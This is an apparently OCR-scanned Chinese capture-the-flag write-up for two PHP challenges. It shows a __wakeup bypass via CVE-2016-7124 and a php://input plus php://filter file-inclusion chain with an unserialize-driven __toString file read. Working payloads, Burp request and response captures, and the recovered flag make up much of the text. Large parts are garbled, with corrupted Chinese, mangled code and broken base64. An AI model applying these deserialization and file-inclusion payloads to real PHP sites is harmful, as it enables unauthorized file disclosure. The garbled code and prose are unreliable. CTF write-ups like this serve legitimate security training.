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<Yphp
class Demo |

private $file = index.php’
public function _ construct($file) |
Fthis-»file = Jfile:
}
function _ destruct() |
echo @highlight file(3this->file, true);
}
function _ wakeupl) |
if ($this-»file '= “index.php’ ) |
ffthe secret is in the {£15g 1s here.php
$this-»file = " index. php ;
}
}

}

if (izset (3 GET[ war' 1)) 1
fvar = basefd decode(F3_GET[ war 1),
if (preg_match( /locl:Vd+:/17,  Jwar)) |
die(’ stop hacking!’ ),

}oelse |
Munserialize ($var)
1 else }{
highlight_file("index.php”);
»
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PHP isset() B2

Feup RIS

isset() BIATICNEEESEIREHEBIF NULL,

NEBEEE unset() BT — " EE215, SiEY issel() #IETISIEE FALSE,
HIEM isset() Wil —FiE =6k NULL 192, J5IER FALSE,
ERTEEERS null 5 (\0") FERERET PHP o NUECRE @ E TR

EIERRER K

phpH A — K4FFR I 7 ¥E M “Magic function” (R , XEBRAIFEXRE—TJLA:
__construct(): Z4xF Z AN (new)it 2 B3R . {HfEunserialize()Bf 2 A EZRAR. (HWERED
_ destruct(): X RPHEBMNEINAME. THERED

__wakeup() : HIETFT#E, unserialize()it < H 301 A
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KBFREGE—A_ wakeup()ERFM—ANENILE, A8~ f15g_1s_here.php 34



geid_ wakeup(): ZERFFFLIITLZHT, L5HAT_ wakeupi& MIEATTH:, BT LA Z L6t .

et wakeup()2FIFHCVE-2016-71247%1F, BIRFHLES, WRRRNRBEHEANSERTELZMBEEANE
it 2 Bkid_ wakeup( )HIHAT
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<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';

public function __ construct($file) {
$this->file = $file;

function _ destruct() {
echo @highlight file($this->file, true);

function __ wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php") {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';

$flag = new Demo('f15g_1s _here.php');

$flag = serialize($flag);
$flag = str_replace('0:4', '0:+4',$flag);
$flag = str_replace(':1:', ":2:' ,$flag);

echo base64_encode($flag);
?>

S IEN: fHF+7] Phggidpreg_match(), 1ENIVLELIX BILAELHZ O:4, HAIH O:+4 a4t

} <‘1?:J::J . ) TzorNDoiRGVtbyl6Mjp7czoxMDoIAERIbWBAZmIsZSI7czoxNjoiZjE1Z18
2 class Demo [ x¢190ZXJILnBocCI7fQ==

private $file = *Gu3ss_m3_hZh2. php’ ;

public function _ construct($file) {
$this—>file = §file;
}

function _ destruct() {
1 echo Chighlight file($this—>file, true);
1 }
12
13 funetion _wakeup() [
14 if ($this—>file != 'Gu3ss_m3_h2h
15 the secret is in the f13 hp
16 $this—>file = ’Gu3ss_m3_hZh2. php ;
17 }
18 }
19}
21 $flag = new Demo (' f15g_1s_here. php’ ) ;

22 $flag = serialize($flag):
23 $flag = str_replace(0:4", '0:+4’ §flag);

24 §flag = str_replace(’ :1:7, ’:2:7 | §flag);
25 echo base64_encode ($flag) ;
26 2>
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getté S vart] f5flag.

& G A 222 | ad6ad9eb.Ixctf.net/0.0/?var=TzorNDoiRGVtbyl6Mjp7czoxMDoiAERIBWSAZmIsZSI7czoxNjoiZiE1Z18xc1902XUILnBocCITA...
<Tphp
Jflag = “flag[05b8825AAYacddee5193494aedatcal ™;
i
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flag{05b8825669ae9dee519349e4a9edafca}
B
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you are not the number of bugku !
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vou are not the number of bugku !
=
Juser = 3 GET["txt”];
Ffile = $.GET["file"];
Jpass = 3_GET["password”];
if(isset (Juser)fi(file_get_contents(Juser, v’ )==="welcome to the buskuctf™)){
echo “hello admin!<br>”;
include ($file): //hint. php
telsed

echo “vou are not admin !
]
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3) L) Suser 4 & ===welcome to the bugkuctf
4)$fileZ K Ayhint.php
B LAFEBUrp E N, ZEWH R ET = A

getttZ &: /0.1/?txt=php://input&file=php:/filter/read=convert.base64-encode/resource=hint.php&password=

postféZ&: welcome to the bugkuctf

xx | [(mE | (<lr]) [ 21

B#5: htip/a8Gas93d.ixctinet 2 (

-k Lol 5]
Raw | Z# | % | Hex Raw | 2 | Hex | Render
GET . HTTR/1.1 200 OK

M0 rAxt=phpedinputdfile=phpHilter/read=convert. basebd-encodefresource=hint. php&password=
HTTP/ 1

Host: aB6aB934.Ixctf net

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/a37.36 (KHTML, like Gecko)
Chrome/99.0.4844 51 Safari/537.36

Accept

textfhtml,application/xhtml+xml application/xml;g=0.9 image/avif image/webp image/apng *M ¢=0.8 ap
plication/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zh;q=0.9

Connection: close

Content-Length: 23

welcome to the bugkuctf

Caontent-Length: 731

Content-Type: text/html

Date: Sat, 19 Mar 2022 14:09.33 GMT
Server: Apache/2.4.7 (Ubuntu)

Wary: Accept-Encoding

¥-Powered-By: PHP/5.5.9-1ubuntud 17
Connection: close

hello
admin!<br=PD9waHAgIADKYZ xhcIMgRmxhZIsvL 2ZsYWeucGhwlCANCiAglCBwdW.IsaWMgJ G
ZphGU7ICANCiAgICBwdW.JsaWMgZnVuY3Rph249X190b3N0cmluZygpeyAgDQoglCAgICAgIGI
mKGlzc2VOKCROaGIzL TS maWxIKSI7ICAvL +i/memHjCR0aGIzL TS maWxIIOWPr+ST7 peiuvuedr
uSdumZsYWeucGhwDQoglCAgICAgICAgICBIY2 hvl GZph GVIZ2V0OX2NvbnRIbnRzKCROaGIzZL TS
maWxIKTsgLy'mmL7npLpmbGFnLnBocOWGheWuuQOKICAgZWHNobyAiPGJyPil7 DQoglHJ1d

HVybiAolmdvh2QiKTsNCiAgICAgICAgfSAqDQoqICAgfSAgDOPIICANC)8+ICA=

<l

Suser=35_G

Fiile = §_

password"],

le_get_contents($use welcome to the bughkuctf')){

echo "you are not admin ! ";

. o
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PD9waHAgIAOKY2xhc3MgRmxhZ3svL2ZsYWcucGhwICANCiAgICBwdWIsaWMgIGZpbGU7ICANCiAgICBwdWIsaWMgZnVuY3Rpb24gX190b3N
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AmanCTF - BASE6A{RIHZE

FFLEBASEG AR

PDOwaHAgIAOKY 2xhe3MgRmxhZ3svL2ZsYWeucGhwilCANCIAgICBwdWIsaWMgJGZpbGU7ICANCIAgICBwdWJsaWMgZnWu
¥3Rpb24gX190b3N0OcmiuZygpeyAgDQogICAgICAgGICIMKGIze2VOKCROaGIzZLT SmaWxIKSIZICAvL+i/memHjCROaGIzLT SmaWx
IOWPr+S7peiuvueSruS4umZsYWcucGhwDQogICAgICAgICAGICBIY 2hvIGZpbGVIZ2VOX2ZNvbnRIbNRzKCROaGIZLT SmaWxIKT

sgly/mmL7npLpmbGFnLnBocOWGheWuuQOKICAgZWNobyAIPGJyPI7DGogIHIdHYybiAolmdvb2QIKTsNCIAgICAgGICAGTSA
gDQogICAgfSAgDQPIICANC]8+ICA=

<?php
class Flag{//flag.php
public $file;
public function __tostring(}{
iflisset($this—»file)){ /ZESthis—>file AILLEEAflag.php
echo file_get_contents($this—>file); [[Erflag.phpRE
echo "<br>";
return ("good");

}

CSDN @IFfEid

ARG

<?php
class Flag{//flag.php
public $file;
public function __ tostring(){
if(isset($this->file)){ //XH$this->file ATLABENflag.php
echo file_get_contents($this->file); //Exrflag.phpH%E
echo "<br>";
return ("good");

}

1E£&php
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<Pphp

2 class Flag{//flas.
public $file;
public function __tostring(){

if (isset($this—>file)) { //iXEsthis—>file 7L E Hflag. phr
echo file get_contents(§this—>file); //E7flag. phoHE
echo “<br>”;
8 return ("good”):
9
10 1
11}
12| 2>
EER LR, PRV RRNS
FHE RS, GFAELEBiflag.php
¥ hint.php&5 Kflag.php
e - - _ AL Tt e S
-ES Lol
Raw | & Raw | % | Hex | Render
GET HTTRA.1 200 OK i
10.1/2txt=php: Minput&file=php./filteriread=convert. baseBd-encode/resource=flag. php&passward= Content-Length: 44 i
HTTRA A Content-Type: text/html

Host: aB6aB934. [xctf.net

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safarifo37 36

Accept:

text/html application/xhtml+xml application/xml, g=0.9 image/avifimagefwebp image/apng */*q=0.8 ap
plication/signed-exchange;=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9

Connection: close

Content-Length: 23

welcome to the bugkuctf

X7 RAESGER R ! ! !
Rikindexphp, EEAH IR

Date: Sat, 19 Mar 2022 14:22:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.8-1ubuntud. 17
Connection: close

helle admin!<br=A~fE M 7E R fiflaghh
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[EH [5]5]
Raw | 81 | 3 | Hex Raw | 2 | Hex | Render
GET HTTR/1.1 200 Ok l:

02 txt=php:dinput&file=php: /filter/read=convert. baseB4-encode/resource=index. php&password=
HTTRA 1

Host: aB6aB934. Ixctf net

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4d; «64) AppleWebKit/537.36 (KHTML, like Gecka)
Chrome/93.0.4844 51 Safarifs37 .36

Accept

text/html application/xhtml+xml,application/xml;g=0.9 image/avif image/webp image/apng */*,q=0.8 ap
plication/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

Content-Length: 23

welcome to the bugkuctf

PD9waHAgIAOKIHRAACA9ICRTROVUWYJOeHQiXTsgIAOKIGZpbGUEPSAKXOdFVFsiZmlsZSJIdOyAgDQokcGFzc3dvemQgPSAkXOdFVFsicGF

L

Content-Length: 1511

Content-Type: text/html

Date: Sat, 19 Mar 2022 14:18:28 GMT
Server Apache/2.4.7 (Ubuntu)

Wary: Accept-Encading

X-Powered-By: PHP/S .5 9-Tubuntud 17
Connection: close

hello
admin!<br=PDIwaHAgIAOKJHRAdCAIICRROVUWYJ0e HQiX TsglADKI GZph GUgPSAKX0dFVFsi
ZmisZSJd0yAgDQokcGFzc3dvemQgPSAKXOdFVFsicGFzcddvemQiXTsglA0KaWYoaXNzZXQo
JHR4d CkmJihm aWxIX2 d1dF9jb2507W50 cygkdHhOL CdyJykI PT0id2VsY291ZSBObyB0aGUgYnV
na3VjdGYiKSI7ICANCIAgICBIY2hvlCJoZWxsbyBhZG1pbiEBYnl+|jsqlADKICAgIGImKHByZW dfh
WF0Y2goli9mbhGFnLyls)GZph GUpKXsgLy/ovdfmubRVUkzph4znmoRmbGFnda2X35y8D QoglC
AgZWNohyAi5SLiNG6I09546waZy05h Cx57 uZ5L2 gZmxhZ+WTpil7D QoglCAgICAgIGV4aXQoKTsgl
ADKICAgIH1IbHNIeyAgDQoglCAgICAgIGIuY2x1Z2GU0)GZph GUp OyAglADKICAgICAgICAkcGFz
c3dvemQgPSB1bnNIcmIhbGI6ZSgkcGFzc3dvemQpOyAgDQoglCAgICAgIGVjaGBgJHBhcIN3b
3JkOyAgLy/1j6/kub XInKjljd 3luo/liHljJbnmoTovdfnglvkuK3ovSTIm55mbGFnLnBocOeahOWAV
0+8j0WS5tuWcq Oi/memHjOaYvuekug0KICAgIHO glADKfWVsc2 VTICANCiAgI CBIY2hviCJ5h3Ug
YXJIGSvdCBDaGUghnViYmVylGImIGJ1Z2t1ICE gljsglADKISAgD Qo/PiAgDQoBISOtICANCIR1c2
VylD0gJFIHRVRbInR4dCJdOyAgDQokZmisZSAIICRIROVUWY maWxIII07 ICANCiRwYXNzID0g
JF9HRVRbINBhc3N3b3JKINO7ICANCmImKGlzc2VOKCR1 c2VyKSYmKGZph GVZ2V0 X2NvbnRlbn
RzKCR1c2Vyl CdyJykIPT0id2VsY29tZSB0byB0aGUgYnVna3VjdGYiKSI7TICANCiAgICBIYZhvlCJ
oZWxshyBhZG1phiE8Ynl+ljsglAOKICAgIGIuY2x1ZGUoJGZphGUpOyAvLZhpbn QucGhwilCANC
nilbHNleyAgDQoglCAgZWNobyAieWI1IGFyZSBub3 Qg YWRtaW4gISAiOyAgDQpIICANCIALT
4glADK
<l
Suser=§ GET["txt"],
$hile = §_GET["file"];
Ipass = §_GET]"password"];
iflisset(Busen&&(file_get contents(Iuser, r)==="welcome to the bugkuctf')){
echo "hello admini<br=":
include($file); /#/hint php
Jelsef

R

UT AU r Ly s L pRASURRASUL Y UVSTTTIUOR Y URL NS ZNTTNTURITINCNOd LA DY O LU AL VWWINULYAIDLIND IV 05 0Wa LY
03bCx57uZ5L2gZmxhZ+WTpil7DQogICAgICAgIGY4aXQoKTsglAOKICAgIHTIbHNIeyAgDQogICAQICAQIGIUY2x1ZGUoJGZpb
GUpOyAglADKICAgQICAgICAKeGFze3dvemQgPSB1bnNIcmihbGIEZ SgkeGFze3dvemQpOyAgDQoglCAgICAgIGVjaGEgJHBhe
3N3b3JkOyAgLy/lie/kuBXInKjlj43luo/liJfljlJbnmoTovdinglvkuK3ovETIm55mbGFnLnBocOeahOWAv O+ 8jOWStuWeqOi/memH
jOaYvuekugOKICAgIHOgIAOKIWVsc2V7ICANCIAgICBIY ZhvICJ5b3UgY XJIG5vdCBOaGUgbnVIYmyyIGImIGJ1Z2t1ICEgljsgl
AOKfSAgDQo/PiAgDQoBISOICANCIR1c2VyIDOgJFIHRVRbINRAAC JdOyAgDQokZmIsZSASICRIROVUWYImaWxIII07ICANCIR
wYXNzIDOgJFIHRVRbINBhe 3N3b3JKIIO7ICANCMIMKGIzc2VOKCR1c2VyKSYMKGZpbGVIZ2VOX2NvbnRIbnRzKCR1c2VyLC
dyJyk9PTOId2VsY 291ZSB0byBOaGUgYnVna3VjdGYIKSIZICANCIAgICBIY 2hvICJoZWxsbyBhZG1phiE8Ynl +1jsglAOKICAgGIGIu
Y2x1Z2GUoJGZpbGUpOyAvL2ZhpbnQueGhwICANCH1IbHNIeyAgDQogICAgZWNobyAleWS1IGFy ZSBub3QgYWRtaW4glSAIOy

AgDQPOICANCIAtLT4gIAOK

ISR LA &S] TIE_YEL_LONILENLESLRLAL T J=== WEILUIIE W uie puyrue Jiy

echo "hello admin!<br>";
if(preg_match("/flag/", &file)){ //iTEURLE/flag=R
echo "FEEIERES(FilagH";

exit();
telse{

include($file);

Spassword = unserialize($password);

echo $password; [[AILIERFFHERIITEAERIlag.phptiE, FEXEET

CSDMN @IFfEidHr



<?php

$txt = $_GET["txt"];

$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get contents($txt, 'r')==="welcome to the bugkuctf")){

echo "hello admin!<br>";

if(preg_match("/flag/",$file)){ //iT#EURLEKflagFHR

echo "AREEITEBAIRFlagik" ;
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;

}
}else{
echo "you are not the number of bugku ! ";
}
?>
<l--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user, 'r')===
echo "hello admin!<br>";
include($file); //hint.php

}else{
echo "you are not admin ! ";

contents($txt,” r')==="welcome to the bugkuctf”))

SHEURLE fflagF IR

unserialize ($password) ;

FUERFIATEFEE  lag. phofiI{E, HERXEER

echo “you are not the number of bugku ! ”

r’ )=="welcome to the bugkuctf”)) {

include ($file)

26 Jelse{

echo “you are not admin ! ”

29 —

HEBDHEE—-INE—A
MIEFS R EATAT AR R T 5 B -
1) X Rk4arflagitiT 7 IE N UL A

/TR FFIMLE SRR E flag. phpHIfE, HAEXEER

"welcome to the bugkuctf")){

you are hot the number of bugku !
<l--
Suser = $ GET["txt"];
$file = $ GET["file"];
$pass = $_GET["password"];
if(isset($user)8&(file_get contents($user,'r')==="welcome to the
bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
telse{
echo "you are not admin ! *;

}

—>

CSDN @,

H
6
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2) fEhint.phpHE X T —AFLagZ, HHHF—4_ tostring 77k, XA 773 0] LA AR KX AN RAE 7 5 30

1Tt & BB HAT B — > .

3) _ tostring HFEPATES, KEESflelE N 2R NS, 4aRanflag.php, J58 5 #ZHflag.phpSC 4
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4) fEindex.phpl&fid+E 2| T $password K 1E F
5) fEelseftighd XA T $file, 3 H Xt $passwordi#t T K 7511k
B 4E R AR

<?php
class Flag{//flag.php
public $file;
public function __ tostring(){
if(isset($this->file)){ //&XH$this->file FAILABEHNflag.php
echo file_get_contents($this->file); //&E/rflag.phpH&E
echo "<br>";
return ("good");

}

)

$a = new Flag();
$a->file = "flag.php";
echo serialize($a);

?>

1| <?php
2 class Flag{//flag. php
public $file;
4 public function _ tostring() {
5 if (isset ($this—>file)) { //iXE$this—>file T LLEEAflas. pho
echo file_get_contents($this—>file): //EFflas. ohoWE
echo "<br>”;

return (“good”) :

12 $a = new Flag():

13 $a—>file = "flag.php”:
14 echo serialize($a);

13| %>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BRI I i payloadi# T 1£ S BI T .

O:4:"Flag":1:{s:4:"file";s:8:"flag.php”;}

CSDN @IEAEIT



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST A
A0.1/Mxt=php: //input&file=hint. ohphpassword=0:4: "Flag":1: [s:4:"file";s: ‘ -
B:"flag. php”;] HTTP/1.1

Host: 0254f2al. yunyansec. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)

Gecko/20100101 Firefox/47. 0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*,0=0.8
Accept-Language: zh—CN, zh;q=0. 8, en-US;q=0. 5, en;q=0. 3

DNT: 1

Cookie:
UM_distinctid=17b7743ca65708-0bda3089b1f565-13666c4a-144000-17b7743cabbs
41

X-Forwarded-For: B.B.8. 8

Connection: close

Content-Type: application/x—www—form—ur lencoded

Content-Length: 23

}welcome to the bugkuctf

[«

|T| |T| |T‘ |T| Type a search term Dlmekches

FRFRIE! | R R T REERSTES

HTTP/1.1 200 OK

Gontent-Type: text/htm!

Date: Thu, 02 Sep 2021 09:01:37 GMT
Server: Apache/2.4.7 (Ubuntu)

Yary: Accept-Enceding

X-Powered-By: PHP/5.5.9-1ubuntud. 17
Gontent-Length: 385

Connection: close

helle admin!<br> <7php
| §$flag = "flag|05b8825669ae9dee51934%9e4a%edafeal ™ |
?xChrrgood
I
| $user = §_GET["txt"]:
§file = §_GET["file"];
$pass = §_GET["password"]:
if(isset (§user)&& (file_get_contents ($user, 'r’
echo "hello admin!<br>";
include (§filel: //hint. php
lelsel
echo "you are not admin !

i
—>

"welcome to the bugkuctf'}){

‘T| |T| |T| |T| T_'r',DE a search term

[« ¥

0 matches
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